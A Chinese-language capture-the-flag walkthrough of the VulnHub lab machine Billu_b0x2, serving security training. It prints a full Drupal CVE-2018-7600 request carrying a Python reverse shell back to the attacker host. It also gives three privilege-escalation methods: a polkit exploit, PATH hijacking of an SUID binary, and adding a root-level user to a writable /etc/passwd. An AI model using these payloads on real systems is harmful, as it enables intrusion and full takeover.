一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.4)
靶机:Billu_b0x2(10.0.2.11)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/billu-b0x-2,238/
二、信息收集
使用nmap主机发现靶机ip:10.0.2.11
使用nmap端口扫描发现靶机开放端口:22、80、111、8080、41721
nmap -A 10.0.2.11 -p 1-65535
打开网站,发现该网站是由drupal cms搭建的
使用droopescan工具扫描判断该drupal 的版本,为8.3.6
droopescan scan -u http://10.0.2.1
使用searchsploit搜索drupal 8.3.6的历史漏洞,发现存在符合版本的命令执行漏洞
searchsploit drupal 8.3.6
我们选择php/webapps/44448.py
,将该poc导出
searchsploit -m php/webapps/44448.py
执行该poc,该网站存在命令执行漏洞:CVE-2018-7600
三、漏洞利用
我们需要获取靶机的shell,在网上找到一个exp如下:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 10.0.2.11
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
修改id命令为反弹shell命令,使用python反弹shell
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
四、提权
方法一:
使用命令find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件,发现/usr/lib/policykit-1/polkit-agent-helper-1
,该版本的polkit具有本地提权漏洞:CVE-2021-4034
靶机存在gcc环境,我们可以直接通过web服务器将exp上传到靶机
编译执行得到root权限
方法二:
使用命令find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件,发现可疑文件/opt/s
使用命令strings /opt/s
查看该文件的字符串信息,发现该文件以root权限执行了scp命令
我们可以修改环境变量来提权
cd /tmp
echo '/bin/bash' > scp
chmod +x scp
export PATH=/tmp:$PATH
/opt/s
方法三:
查看passwd的权限发现我们具有修改passwd文件的权限
passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了(非root用户不可读)。
test:x:1000:1000::/home/test:/bin/bash
当我们的passwd文件给普通用户配置了写权限,那么我们就可以通过修改x为一段已知的密码的hash值来进行提权。
利用Perl和crypt来使用salt值为我们的密码生成哈希值
perl -le 'print crypt("123456","addedsalt")'
然后执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件
echo "test:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
用户名:test 密码: 123456 登录主机,登录成功后,是 root 权限